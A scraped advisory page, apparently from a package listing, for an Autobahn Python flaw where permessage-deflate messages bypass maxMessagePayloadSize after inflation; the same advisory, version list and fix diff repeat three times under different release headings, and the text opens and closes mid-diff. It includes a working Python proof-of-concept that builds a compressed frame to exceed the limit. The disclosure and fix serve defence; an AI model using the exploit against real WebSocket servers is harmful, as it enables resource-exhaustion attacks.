                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Feb 07, 2021

20.12.3 patch

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Dec 20, 2020

20.12.2 patch

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Dec 18, 2020

20.12.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
